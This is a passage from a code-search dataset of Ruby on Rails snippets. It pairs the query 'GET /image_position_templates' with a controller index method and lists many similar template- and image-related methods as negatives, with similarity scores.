"def index\n @actors_movies = ActorsMovie.all\n end",
"def get_cast\n get_characters.map {|char| char.actor}\n end",
"def get_champion_names\n Static.get_champion_list.keys\n end",
"def list_heroes\n puts \"\\n---***------ HEROES ------***---\".colorize(:yellow)\n @heroes = Hero.all\n Hero.all.each do |hero|\n print \" --- \".colorize(:magenta)\n puts \"#{hero.name}\".colorize(:white)\n end\n menu\n end",
"def list_all_character\n puts \"--------------------------------------------------------------------------------\\n\\n\"\n puts Amiiboproject::Amiibo.all.map {|x| x.character}.uniq\n puts \"--------------------------------------------------------------------------------\\n\\n\"\n end",
"def display_names names\n names.each do |name|\n name = expand_name name\n\n display_name name\n end\n end",
"def list_animals \n puts \"Here are the current animals in shelter: \"\n @animals_in_shelter.each do |animal|\n puts animal.get_animal_info\n end\n end",
"def names\n collect { |a| a.name }\n end",
"def to_s\n actor_name\n end",
"def animal_nicknames\n animals.select{ |animal| animal.zoo == self}.map {|animal| animal.nickname}\n end",
"def actors_hash\n search_by_itemprop_hash 'actors'\n end",
"def actors\n\n # 1) get all film_actors (from the join table)\n # 2) get their actors\n film_actors = FilmActor.where film_id: film_id\n Actor.where actor_id: film_actors.pluck(:actor_id)\n\n # Actor.where actor_id: [3, 22, 38, ...]\n\n # Actor.where film_id:\n end",
"def fmm(wantData)\n puts \"Movies with multiple actors\"\n ar = []\n Movie.find_all.each {|mm| \n\t\t\tif mm.actors.count > 1 then \n\t\t\t print \"\\n\",mm.id,' ',mm.name,' ',mm.actors.count \n\t\t\t ar.push(mm)\n\t\t\tend\n\t\t }\n puts\n if wantData\n return ar\n end\n end",
"def get_character_list account\n end",
"def artist_names\n artists.map do |artist|\n artist.name\n end\n end",
"def names; end",
"def names; end",
"def names; end",
"def names; end",
"def names; end",
"def names; end",
"def names; end",
"def viewers(movie)\n\t\tviewer_list = @movie_user[movie]\n\tend",
"def animal_nicknames\n total_animals = animals.map do |animal|\n animal.nickname \n end\t\n end",
"def index\n\t\t@development_actors = DevelopmentActor.all\n\tend",
"def actor\n #actor_name = 'Jack Nicholson'\n # @actor_name = params[:actor_name] # in order to be available in the view\n results = search_query([:actorName], %[\n ?movies movie:actor ?a .\n ?a rdf:type movie:actor .\n ?a movie:actor_name ?actorName .\n FILTER regex(?actorName, '^.*#{query_param(true)}', 'i')\n ])\n @groups = results.group_by(&:actorName) unless results.empty?\n render 'results', locals: {title: \"Movies with one of the actor name containing '#{query_param}'\"}\n end",
"def movie_list\n self.lists\n end",
"def show_fans(player) \n player1 = Player.find_by(name: player)\n fans_array = player1.fans\n fans_array.each do |fan|\n puts fan.name \n end\nend",
"def list_characters_created\n @candidates.each do |candidate|\n puts \"-----Candidate-----\"\n puts(\"Name: #{candidate.name};\")\n puts(\"Party: #{candidate.party};\")\n end\n @voters.each do |voter|\n puts \"-----Voter-----\"\n puts(\"Name: #{voter.name};\")\n puts(\"Party: #{voter.party};\")\n puts(\"Politics: #{voter.politics};\")\n end\n main_selector\n end",
"def list_of_assigned_members(card)\n card.assignees.map(&:username)\n end",
"def movie_array(character)\n films_array = get_char_hash(character)[\"films\"]\n films_array.map do |movie_url|\n movie_info(movie_url)[\"title\"]\n end\nend",
"def super_heroes\n heroes = [\"iron man\", \"hulk\", \"black widow\", \"thor\", \"captain marvel\"]\n \n heroes.map(&:capitalize)\nend",
"def get_actors(id)\n # get targets\n return (id ? [$BlizzABS.actors[id]].compact : $BlizzABS.actors.clone)\n end",
"def all_names; end",
"def all_names; end",
"def owners_of_cars_serviced\n self.personal_mechanic_of.map{|owner_obj| owner_obj.name}\nend",
"def actor_list(array)\n #the variable actors is equal to a new array that only has the key actors in each of the movies\n actor_in_bond = array.map {|movie| movie[:actor]}\n #list variable gives me the array of unique people out of the list of array\n list = actor_in_bond.uniq\n #variable movies per actor is equal to a iterator that will give me a new array of the movie actor from the list and\n #check the number of times the actor's name shows up in the array actor in bond then it will\n #give me an array of the actors name with the number of movie it is in\n movies_per_actor = list.map {|movie| \"#{movie} => #{actor_in_bond.count(movie)}\"}\n #outputs the list of actors with number of movies they are in\n puts movies_per_actor\nend"
] |
[
"0.86174464",
"0.8328058",
"0.79615504",
"0.783769",
"0.69107985",
"0.6803531",
"0.67539036",
"0.6601669",
"0.65573156",
"0.65573156",
"0.6429673",
"0.6329611",
"0.6312276",
"0.6294817",
"0.6294218",
"0.6261144",
"0.6207178",
"0.61932343",
"0.6165172",
"0.61563313",
"0.6122228",
"0.60737497",
"0.6067077",
"0.60336936",
"0.6027609",
"0.5956665",
"0.5921901",
"0.5917611",
"0.5910463",
"0.5910059",
"0.5885786",
"0.58703977",
"0.58664036",
"0.58443904",
"0.58368033",
"0.58244044",
"0.578972",
"0.57886785",
"0.5772941",
"0.5766082",
"0.57549846",
"0.57278556",
"0.5696929",
"0.5690096",
"0.5682915",
"0.56791747",
"0.5631785",
"0.5623849",
"0.5622546",
"0.56026757",
"0.5602007",
"0.5598321",
"0.55839795",
"0.5579099",
"0.5559226",
"0.5559225",
"0.5553847",
"0.5549654",
"0.5539443",
"0.55286175",
"0.55240375",
"0.551699",
"0.55165625",
"0.5504325",
"0.5486533",
"0.54822147",
"0.5482197",
"0.5478701",
"0.5478695",
"0.5467134",
"0.5467046",
"0.5466424",
"0.546241",
"0.5460557",
"0.54595",
"0.54565346",
"0.5451683",
"0.5450526",
"0.5450065",
"0.5450065",
"0.5450065",
"0.5450065",
"0.5450065",
"0.5450065",
"0.5450065",
"0.54405886",
"0.54382086",
"0.5437268",
"0.54338473",
"0.5431991",
"0.5426347",
"0.5405525",
"0.540159",
"0.5396589",
"0.53958803",
"0.53911805",
"0.5383881",
"0.5383881",
"0.5370536",
"0.53606564"
] |
0.80675256
|
2
|
GET /image_position_templates GET /image_position_templates.json
|
def index
@image_position_templates = ImagePositionTemplate.ordered
respond_to do |format|
format.html # index.html.erb
format.json { render json: @image_position_templates }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @image_position_template = ImagePositionTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image_position_template }\n end\n end",
"def new\n @image_position_template = ImagePositionTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image_position_template }\n end\n end",
"def index\n @template_positions = TemplatePosition.all\n end",
"def templates\n response = get \"storage/template\"\n data = JSON.parse response.body\n data\n end",
"def create\n @image_position_template = ImagePositionTemplate.new(params[:image_position_template])\n\n respond_to do |format|\n if @image_position_template.save\n format.html { redirect_to @image_position_template, notice: 'Image position template was successfully created.' }\n format.json { render json: @image_position_template, status: :created, location: @image_position_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @image_position_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def list\n @client.make_request :get, templates_path\n end",
"def index\n @template_photos = TemplatePhoto.all\n end",
"def index\n @base_url = \"#{root_url}images/cards-templates\"\n @templates = Template.all\n end",
"def set_image_template\n @image_template = ImageTemplate.find(params[:id])\n end",
"def destroy\n @image_position_template = ImagePositionTemplate.find(params[:id])\n @image_position_template.destroy\n\n respond_to do |format|\n format.html { redirect_to image_position_templates_url }\n format.json { head :no_content }\n end\n end",
"def templates\n state(metrics: \"metadata\").dig(\"metadata\", \"templates\")\n end",
"def index\n @template = Template.find(params[:template_id])\n @template_parameters = TemplateParameter.where(template_id: params[:template_id])\n end",
"def index\n @positions = @mold.positions\n @photos = @mold.photos.new\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @positions }\n end\n end",
"def get_img_tags\n @tp = Temp.find_by_id(params[:id])\n @tp.included_images \n render :json => @tp.included_images\n # render :text => @tp.included_images \n end",
"def template_map\n \n end",
"def list\n @client.call(method: :get, path: 'templates')\n end",
"def index\n @admin_templates = Template.order('id desc').page(params[:page]).per(10)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_templates }\n end\n end",
"def templates\n response = get 'templates'\n response.map{|item| Hashie::Mash.new(item)}\n end",
"def index\n @templates = Template.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @templates }\n end\n end",
"def index\n @item_templates = ItemTemplate.all\n end",
"def editor_templates (type, uuid)\n res = http_get(:uri=>\"/editor/#{type}/templates/#{uuid}\", :fields=>x_cookie)\n end",
"def page_image_template\n \"#{slug}-p{page}-{size}.gif\"\n end",
"def index\n @product_templates = ProductTemplate.all\n end",
"def index\n @score_templates = ScoreTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @score_templates }\n end\n end",
"def index\n @templates = ::Template.all\n end",
"def set_template_position\n @template_position = TemplatePosition.find(params[:id])\n end",
"def mcget_templates\n # setup_mcapi.folders.list(\"template\")\n setup_mcapi.templates.list({user: true},{include_drag_and_drop: true})\n end",
"def get_multi_image_template\n @user = get_session_user!\n @licenses = License.current_names_and_ids(@user.license) # for license menu\n @image = Image.new(user: @user, when: Time.now)\n render(partial: \"/observer/form_multi_image_template\")\n end",
"def asset_map\n return TEMPLATE_MAP\n end",
"def index\n @images = Image.all\n @json = @images.to_gmaps4rails do |image, marker|\n @image = image\n marker.infowindow render_to_string(:action => 'show', :layout => false) \n marker.json({ :id => @image.id })\n end\n end",
"def index\n # @custom_pet_templates = CustomPetTemplate.all\n end",
"def templates(params = {})\n @api.get(\"#{@api.path}/List/#{@id}/Templates\", params: params)\n end",
"def get_templates(limit = 100, offset = 0)\n params = { :limit => limit, :offset => offset }\n\n request :get, \"/v3/templates.json\", params\n end",
"def index\n @question_templates = QuestionTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_templates }\n end\n end",
"def index\n @node_templates = NodeTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @node_templates }\n end\n end",
"def index\n @templates = Template.all\n end",
"def index\n @templates = Template.all\n end",
"def index\n @templates = Template.all\n end",
"def create\n @position = Position.new(position_params)\n respond_to do |format|\n if @position.save\n @position.create_images(params[:images]) if params[:images]\n format.html { redirect_to @position, notice: 'Position was successfully created.' }\n format.json { render :show, status: :created, location: @position }\n else\n format.html { render :new }\n format.json { render json: @position.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @templates = Spree::Template.all\n end",
"def index\n @templates = Template.order(:name).page params[:page]\n end",
"def index\n @lcb_image_positions = LcbImagePosition.all\n end",
"def index\n @request_templates = RequestTemplate.all\n end",
"def index\n @templates = Template.includes(:template_elements).all\n end",
"def list_templates(type)\n res = http_get(:uri=>\"/editor/#{type}/templates\", :fields=>x_cookie)\n end",
"def get_item_templates_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: StoreApi.get_item_templates ...\"\n end\n # resource path\n local_var_path = \"/store/items/templates\"\n\n # query parameters\n query_params = {}\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceStoreItemTemplateResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: StoreApi#get_item_templates\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @slider_images = @selected_template.spree_slider_images\n @slider = Spree::SliderImage.new\n end",
"def template_position_params\n params.require(:template_position).permit(:title, :price_item_id, :template_id, :template_item_id, :order)\n end",
"def list_templates(args = {})\n filter = args[:filter] || 'featured'\n params = {\n 'command' => 'listTemplates',\n 'templateFilter' => filter\n }\n params['projectid'] = args[:project_id] if args[:project_id]\n params['zoneid'] = args[:zone_id] if args[:zone_id]\n \n json = send_request(params)\n json['template'] || []\n end",
"def index\n @my_templates = MyTemplate.all\n end",
"def get_templates(opts={})\n path = '/template/list'\n opts[:query] = create_search_string(opts[:query]) if opts[:query]\n query = create_query_string(opts, [:page, :page_size, :query])\n path += query\n HelloSign::Resource::ResourceArray.new get(path, opts), 'templates', HelloSign::Resource::Template\n end",
"def retrieve_all_template_info\n puts \"Retrieving all template ids and names for #{@primary_username} ...\"\n puts\n\n uri = URI(@config['endpoint'])\n\n # Retrieve templates\n http = Net::HTTP.new( uri.host,uri.port )\n http.use_ssl = true\n request = Net::HTTP::Get.new( uri.request_uri )\n request.basic_auth(@primary_username, @primary_password)\n\n response = http.request( request )\n templates = JSON.parse( response.body )\n\n # Create template_id array\n @template_array = Array.new\n\n # Create a template hash w/ name and id for each template found\n templates['templates'].each do |t|\n @template_array.push({:id => t['id'], :name => t['name']})\n end\n\n # Return constructed temmplate array\n return template_array\n end",
"def show\n authorize! :read, @project\n @step = @project.steps.find_by_position(params[:id])\n @images = @project.images.where(\"step_id=?\", @step.id).order(\"position\")\n\n respond_to do |format|\n format.html\n format.json \n format.xml\n end\n end",
"def index\n @exercise_templates = ExerciseTemplate.all\n render json: @exercise_templates\n end",
"def get_item_template\n get_type_template(@source.types)\n end",
"def templates; end",
"def show\n @toppings = @pizza.toppings.all\n @images = @pizza.images.order('image_relationships.position ASC')\n end",
"def index\n @admin_kpi_templates = Admin::KpiTemplate.paginate(:page=>params[:page],:per_page=>20)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_kpi_templates }\n end\n end",
"def index\n @loc_images = LocImage.all\n \n end",
"def templates\n return self.class.get('/templates').parsed_response.map do |template|\n Template.new(template['template_id'], template['name'])\n end\n end",
"def templates\n wayfinder.decorated_templates\n end",
"def show_from_template_and_place\n params = tpl_place_params\n @questions = QAPIGenerator.get_from_ids params[:place_id], params[:template_id]\n render 'index'\n end",
"def index\n @item_templates = ItemTemplate.all.paginate(page: params[:page]).order('name ASC')\n end",
"def index\n @post_templates = PostTemplate.all\n end",
"def index\n @collage_templates = CollageTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @collage_templates }\n end\n end",
"def update_template_with_image_id(template)\n params = template.parameters\n params.each do |key, value|\n update_params_with_image_id(params, key, value)\n end\n end",
"def index\n @textures = Texture.find(:all, :limit => 20, :order=> 'created_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @textures }\n end\n end",
"def index_template\n authorize RegisteredElement\n @elements = RegisteredElement.where(template: true).order(:name)\n end",
"def index\n @custom_templates = CustomTemplate.page params[:page]\n end",
"def update\n @image_position_template = ImagePositionTemplate.find(params[:id])\n\n respond_to do |format|\n if @image_position_template.update_attributes(params[:image_position_template])\n format.html { redirect_to @image_position_template, notice: 'Image position template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image_position_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def xxx_find_templates_on_the_screen(template_path, output_file_path = '')\n logc(\"method: #{__method__}, params: '#{template_path}', #{output_file_path}\")\n\n screenshot_path = prepare_screenshot(\"screenshot.png\", true, false)\n\n res_of_finding = find_templates_on_img_with_dynamic_threshold(template_path, screenshot_path, output_file_path)\n\n return res_of_finding\nend",
"def details\n response = get \"/templates/#{template_id}.json\", {}\n Hashie::Mash.new(response)\n end",
"def index\n @mapimages = Mapimage.all\n end",
"def get_template_image_url(file_type)\n path = get_server_url(true) + \"/assets/\"\n case file_type\n when 'word' # for word type\n full_path = path + 'file_docx.svg'\n when 'cell' # .xlsx for cell type\n full_path = path + 'file_xlsx.svg'\n when 'slide' # .pptx for slide type\n full_path = path + 'file_pptx.svg'\n else\n full_path = path + 'file_docx.svg' # the default value is .docx\n end\n\n full_path\n end",
"def get_template(template); end",
"def index\n # set our shot sample size\n @shot_sample = params[:shot_sample].to_i\n # get the page number or default to 1\n @page = [params[:page].to_i, 1].max\n # paginate players based on `options_from_params`\n @players = Player.paginate({:page => @page, :per_page => PER_PAGE}.merge(options_from_params))\n\n # choose our template\n @template = template_from_params\n end",
"def find_templates_on_the_screen(template_path, output_file_path = '', threshold = 0.8)\n logc(\"method: #{__method__}, params: '#{template_path}', #{output_file_path}, '#{threshold}',\")\n\n screenshot_path = prepare_screenshot(\"screenshot.png\", true, false)\n\n res_of_finding = find_templates_on_img(template_path, screenshot_path, output_file_path, threshold)\n\n return res_of_finding\nend",
"def templates_path\n @templates_path\n end",
"def index\n @question_templates = QuestionTemplate.all\n end",
"def index\n\t\t# count = params[:count]\n\t\t# numPict = params[:numPict]\n\t\t@location = Location.all.group_by(&:department_area_id)\n\t\t@imgCount = Image.count\n\t\t@loc = params[:loc] || \"\"\n\t\t# puts @loc\n\t\tif(!params.has_key?('loc'))\n\t\t\t@images = Image.all.page(params[:page])\n\t\telse\n\t\t\t@images = Image.where(location_id: @loc).page(params[:page])\n\t\tend\n\n\t\t# @images = Image.limit(numPict).offset(count)\n\t\trespond_to do |format|\n\t\t\tformat.html {render layout: 'admin_layout'}\n\t\t\tformat.js\n\t\t\tformat.json\n\t\tend\n\tend",
"def index\n if params[:name]\n @template = Template.find_by_name(params[:name])\n if @template\n respond_ok \"template\", @template\n else\n respond_err \"template\", Template.new, \"i18> No template found\"\n end\n else\n @templates = Template.all\n if !@templates.empty?\n respond_ok \"template\", @templates\n else\n respond_err \"template\", @templates, \"i18> No template found\"\n end\n end\n end",
"def get_video_templates_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MediaVideosApi.get_video_templates ...\"\n end\n # resource path\n local_var_path = \"/media/videos/templates\"\n\n # query parameters\n query_params = {}\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceTemplateResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MediaVideosApi#get_video_templates\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def type_images(types)\n @type_map ||= { \n N::TALIA.Source => 'source',\n N::FOAF.Group => 'group',\n N::FOAF.Person => 'person'\n }\n result = ''\n types.each do |t|\n image = @type_map[t] || 'source'\n name = t.local_name.titleize\n result << link_to(image_tag(\"talia_core/#{image}.png\", :alt => name, :title => name),\n :action => 'index', :filter => t.to_name_s('+')\n )\n end\n result\n end",
"def get_poll_templates_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MediaPollsApi.get_poll_templates ...\"\n end\n # resource path\n local_var_path = \"/media/polls/templates\"\n\n # query parameters\n query_params = {}\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceTemplateResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MediaPollsApi#get_poll_templates\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def templates\n @templates ||= TemplateFinder.new(path, types)\n end",
"def details\n response = CreateSend.get \"/templates/#{template_id}.json\", {}\n Hashie::Mash.new(response)\n end",
"def pet_image_index\n\n @pet_id = params[:pet_id]\n @images = PetImageRepo.pet_images(@pet_id)\n end",
"def templates\n @conn.templates\n end",
"def index\n @images = @owner.images\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @images }\n end\n end",
"def _mg_templates\n @_mg_templates ||= ModelGrinder.templates\n end",
"def index\n if params[:floor_id]\n data = {Image: [{id: params[:floor_id], Tags: Tag.find_by(floor: params[:floor_id])}]}\n else\n data = Tag.all\n end\n render json: data\n end",
"def index\n @taggables = current_user.taggables\n @taggable_center = current_user.taggables.first\n \n\n if !@taggable_center.nil?\n @url_no_path = URI.parse(@taggable_center.photo.url(:editable)).path[%r{[^/]+\\z}]\n @url_path = URI.parse(@taggable_center.photo.url(:editable)).path\n @tags = @taggable_center.tags\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @taggables }\n end\n end",
"def tagged_images\n images_per_page = 4\n @page_count, @current_page, @tagged_type, @tagged_images = nil, nil, nil, nil\n @tagged_type = params[:tagged_type]\n if TagImage.types_for_select.flatten.include?(@tagged_type)\n cond_ary = [\n 'tagged_type = :tt',\n 'tagged_id = :tid'\n ]\n cond_var = { :tt => @tagged_type, :tid => params[:id] }\n conditions = [ cond_ary.join(' AND '), cond_var ]\n @current_page = params[:page].to_i\n @current_page = 1 if @current_page == 0\n image_count = TagImage.count(:conditions => conditions)\n @page_count = (image_count.to_f / images_per_page.to_f).round\n @page_count = 1 if @page_count == 0\n @tagged_images = TagImage.find :all, :limit => images_per_page,\n :conditions => conditions, :order => 'created_at ASC',\n :offset => ((@current_page - 1) * images_per_page),\n :include => [ 'image' ]\n render :partial => 'tag_images/tagged_images'\n else\n render :nothing => true, :status => 500\n end\n end",
"def index\n @market_segment_images = @market_segment_imageable.market_segment_images\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def index\n @attr_templates = AttrTemplate.all\n end",
"def index\n @templates = EmailTemplate.all\n end",
"def index\n @favorite_templates = FavoriteTemplate.all\n render json: @favorite_templates\n end",
"def index\r\n @images = @type_class.all\r\n end",
"def show\n respond_ok \"template\", @templates\n end",
"def index\n @slider_image_types = SliderImageType.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slider_images }\n end\n end"
] |
[
"0.68678117",
"0.63442534",
"0.6235765",
"0.61869854",
"0.6064893",
"0.5938527",
"0.5885065",
"0.5804216",
"0.56918854",
"0.562584",
"0.5612658",
"0.55722386",
"0.5570342",
"0.55579114",
"0.55075425",
"0.55052894",
"0.5487735",
"0.5479869",
"0.5471034",
"0.5466857",
"0.54340345",
"0.54270357",
"0.5398219",
"0.53973943",
"0.53947526",
"0.53696465",
"0.5363881",
"0.53520626",
"0.5350767",
"0.5329277",
"0.5328413",
"0.5322382",
"0.5320062",
"0.53131425",
"0.5312823",
"0.5306357",
"0.5306357",
"0.5306357",
"0.53009385",
"0.5297904",
"0.52947277",
"0.5294553",
"0.5286291",
"0.528116",
"0.5269979",
"0.5254851",
"0.5253159",
"0.52321523",
"0.522788",
"0.52238995",
"0.522324",
"0.5221566",
"0.5218466",
"0.52153754",
"0.5215002",
"0.52142376",
"0.5212009",
"0.520831",
"0.51956695",
"0.51934034",
"0.5192554",
"0.51886976",
"0.51831204",
"0.5181857",
"0.5165745",
"0.5163142",
"0.51567626",
"0.5155581",
"0.51541644",
"0.51493996",
"0.5138235",
"0.5138119",
"0.51355666",
"0.51332754",
"0.51263994",
"0.51209754",
"0.51191235",
"0.51187193",
"0.5114994",
"0.51091623",
"0.5095665",
"0.50951624",
"0.5092912",
"0.50901765",
"0.5087035",
"0.50836855",
"0.5077648",
"0.5074044",
"0.5072988",
"0.5069164",
"0.50641114",
"0.5051892",
"0.50518245",
"0.5049553",
"0.5045099",
"0.50373363",
"0.50334555",
"0.50230217",
"0.50212216",
"0.5018999"
] |
0.738866
|
0
|
GET /image_position_templates/1 GET /image_position_templates/1.json
|
def show
@image_position_template = ImagePositionTemplate.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @image_position_template }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @image_position_templates = ImagePositionTemplate.ordered\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @image_position_templates }\n end\n end",
"def new\n @image_position_template = ImagePositionTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image_position_template }\n end\n end",
"def create\n @image_position_template = ImagePositionTemplate.new(params[:image_position_template])\n\n respond_to do |format|\n if @image_position_template.save\n format.html { redirect_to @image_position_template, notice: 'Image position template was successfully created.' }\n format.json { render json: @image_position_template, status: :created, location: @image_position_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @image_position_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def templates\n response = get \"storage/template\"\n data = JSON.parse response.body\n data\n end",
"def index\n @template_positions = TemplatePosition.all\n end",
"def set_image_template\n @image_template = ImageTemplate.find(params[:id])\n end",
"def destroy\n @image_position_template = ImagePositionTemplate.find(params[:id])\n @image_position_template.destroy\n\n respond_to do |format|\n format.html { redirect_to image_position_templates_url }\n format.json { head :no_content }\n end\n end",
"def index\n @base_url = \"#{root_url}images/cards-templates\"\n @templates = Template.all\n end",
"def index\n @template_photos = TemplatePhoto.all\n end",
"def list\n @client.make_request :get, templates_path\n end",
"def index\n @template = Template.find(params[:template_id])\n @template_parameters = TemplateParameter.where(template_id: params[:template_id])\n end",
"def index\n @positions = @mold.positions\n @photos = @mold.photos.new\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @positions }\n end\n end",
"def index\n @admin_templates = Template.order('id desc').page(params[:page]).per(10)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_templates }\n end\n end",
"def get_img_tags\n @tp = Temp.find_by_id(params[:id])\n @tp.included_images \n render :json => @tp.included_images\n # render :text => @tp.included_images \n end",
"def index\n @templates = Template.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @templates }\n end\n end",
"def index\n @score_templates = ScoreTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @score_templates }\n end\n end",
"def details\n response = get \"/templates/#{template_id}.json\", {}\n Hashie::Mash.new(response)\n end",
"def index\n @item_templates = ItemTemplate.all\n end",
"def index\n @node_templates = NodeTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @node_templates }\n end\n end",
"def set_template_position\n @template_position = TemplatePosition.find(params[:id])\n end",
"def details\n response = CreateSend.get \"/templates/#{template_id}.json\", {}\n Hashie::Mash.new(response)\n end",
"def index\n @templates = ::Template.all\n end",
"def index\n @product_templates = ProductTemplate.all\n end",
"def update\n @image_position_template = ImagePositionTemplate.find(params[:id])\n\n respond_to do |format|\n if @image_position_template.update_attributes(params[:image_position_template])\n format.html { redirect_to @image_position_template, notice: 'Image position template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image_position_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n authorize! :read, @project\n @step = @project.steps.find_by_position(params[:id])\n @images = @project.images.where(\"step_id=?\", @step.id).order(\"position\")\n\n respond_to do |format|\n format.html\n format.json \n format.xml\n end\n end",
"def get_template(template); end",
"def index\n @admin_kpi_templates = Admin::KpiTemplate.paginate(:page=>params[:page],:per_page=>20)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_kpi_templates }\n end\n end",
"def index\n @images = Image.all\n @json = @images.to_gmaps4rails do |image, marker|\n @image = image\n marker.infowindow render_to_string(:action => 'show', :layout => false) \n marker.json({ :id => @image.id })\n end\n end",
"def get_multi_image_template\n @user = get_session_user!\n @licenses = License.current_names_and_ids(@user.license) # for license menu\n @image = Image.new(user: @user, when: Time.now)\n render(partial: \"/observer/form_multi_image_template\")\n end",
"def index\n # @custom_pet_templates = CustomPetTemplate.all\n end",
"def index\n if params[:name]\n @template = Template.find_by_name(params[:name])\n if @template\n respond_ok \"template\", @template\n else\n respond_err \"template\", Template.new, \"i18> No template found\"\n end\n else\n @templates = Template.all\n if !@templates.empty?\n respond_ok \"template\", @templates\n else\n respond_err \"template\", @templates, \"i18> No template found\"\n end\n end\n end",
"def show\n @template = Template.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @template }\n end\n end",
"def index\n @exercise_templates = ExerciseTemplate.all\n render json: @exercise_templates\n end",
"def index\n @templates = Template.all\n end",
"def index\n @templates = Template.all\n end",
"def index\n @templates = Template.all\n end",
"def index\n @question_templates = QuestionTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_templates }\n end\n end",
"def editor_templates (type, uuid)\n res = http_get(:uri=>\"/editor/#{type}/templates/#{uuid}\", :fields=>x_cookie)\n end",
"def index\n @my_templates = MyTemplate.all\n end",
"def show\n @template = Template.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @template }\n end\n end",
"def list\n @client.call(method: :get, path: 'templates')\n end",
"def show\n @terrain_type = TerrainType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @terrain_type }\n format.json { render :json => @terrain_type.to_json(:only => [:id, :name], :methods => :image_url) }\n \n end\n end",
